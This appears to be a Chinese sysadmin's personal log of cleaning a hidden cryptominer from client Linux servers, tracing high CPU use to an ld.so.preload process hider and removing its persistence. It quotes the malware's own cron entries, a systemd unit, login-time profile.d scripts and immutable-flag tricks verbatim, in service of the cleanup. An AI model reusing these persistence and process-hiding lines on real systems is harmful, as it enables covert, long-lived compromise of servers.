突然有人反应说客户服务器使用有点卡,虽然是客户的服务器,里应当客户**自己处理的,可是项目还没完成,只有猥琐发育,自己搞定呗,客户是大哥啊。于是乎,立马使用常规操作,登陆服务器查看资源使用情况,发现服务器的CPU的us值在70%左右,然而并没有找到相关的CPU使用很高的进程,慌得一批,口吐芬芳。。。
1、首先排除应用程序问题,因为服务器的使用人数并不多,不可能有这么高的负载,而且如果是应用程序问题,肯定会显示出CPU高使用的应用进程
2、后排除CPU硬件故障,因为这个项目的几台服务器全都是这样的,而且这几台服务器全都是新上的几台服务器
3、怀疑内核版本问题,因为有人遇到过这种问题,果断拿一台做实验,升级内核版本,重启,然而并没有搞定
4、最后只有锁定病毒方面的问题,可是并没有显示高消耗的进程,应该是病毒将一些系统命令做了更改,无从着手的感觉,于是乎,百度。。。果然找到一个相同的问题:https://www.zhihu.com/question/59820313,终于可以确定最终的原因,病毒。。。
1、病毒进程查询
2、定时任务清理
3、自启动清理
4、服务清理
5、kill进程
因为病毒是个隐藏的病毒,top没办法找到进程,通过参考https://www.zhihu.com/question/59820313这篇问答,找出病毒程序
首先查询是否有这个连接:netstat -anp
结果显示:tcp 0 0 x.x.x.x:33708 91.121.140.167:3333 ESTABLISHED -
连接IP是91.121.140.167,进程名为“-”,确认为病毒程序
查询文件:cat /etc/ld.so.preload
内容为:/usr/local/lib/libprocesshider.so
因此,需要删除/usr/local/lib/libprocesshider.so,清理/etc/ld.so.preload
清理文件时遇到报错Operation not permitted,因为文件被赋予了“i”权限,lsattr可以查看文件权限,可是查看权限时,报错没有lsattr命令,系统本身自带了的,估计是病毒将命令改了,重新下载软件包(e2fsprogs)安装就是
查看文件权限:lsattr /usr/local/lib/libprocesshider.so
chattr更改权限,任然报错没有chattr,心态爆炸。。。
后面查看定时任务时,发现用的lockr +i授权,借此配置权限,lockr -i /usr/local/lib/libprocesshider.so之后即可删除文件
清理文件后,top即可看到搞事情的病毒进程命“.sh”
定时任务清理:
查询cron.d、cron.hourly、crontab目录或文件的异常
/etc/cron.d/phps文件异常,内容*/10 * * * * root /sbin/httpss,直接删除/etc/cron.d/phps、/sbin/httpss
lockr -i /etc/cron.d/phps
rm -rf /etc/cron.d/phps
lockr -i /sbin/https
rm -rf /sbin/https
/etc/crontab内容异常,清理异常任务
* * * * * root cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
* * * * * root echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1
服务清理及自启动清理:
/etc/rc.d/init.d/目录下异常文件删除:rm -rf selinux DbSecuritySpt
清理文件异常内容:/etc/rc.d/rc.local
/lib/systemd/system发现异常服务文件:vim pwnriglhttps.service
[Unit]
Description=.sh
Wants=network.target
After=syslog.target network-online.target
[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process
[Install]
WantedBy=multi-user.target
关闭pwnriglhttps.service服务:systemctl stop pwnriglhttps.service
systemctl disable pwnriglhttps.service
删除文件:rm -rf pwnriglhttps.service
top或者ps查询进程ID,kill进程,top查看资源使用恢复正常
最后删除病毒文件:
rm -rf /usr/bin/.sh
rm -rf /bin/.sh
lockr -i /bin/.funzip
rm -rf /bin/.funzip
到此理应清理完毕,重启系统,发现资源使用正常,然而ssh远程登陆服务器后,病毒任然运行。。。
ssh登陆清理:
查询/etc/profile文件
发现目录/etc/profile.d/下出现异常文件:php.sh、supervisor.sh
查看内容:vim php.sh
#!/bin/bash
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null
vim supervisor.sh
#!/bin/bash
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1
/etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf
删除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf
lockr -i php.sh supervisor.sh
rm php.sh supervisor.sh
lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
最后再次kill进程,删除.sh文件
find / -name .sh
rm /etc/.sh /usr/bin/.sh
重启服务器,测试ssh登陆服务器,资源使用正常,病毒处理完成
病毒处理大概思路:病毒进程名查看、定时任务查看、开启启动目录查看、服务目录查看、用户登陆配置文件查看等,一般都是修改这些文件来达到入侵目的,还有系统命令的修改
如今病毒隐藏愈来愈深,愈来愈搞事情,所以建议从预防开始,注重病毒预防,中毒难受,严重导致数据丢失,无解。。。
-----------日常记录---------------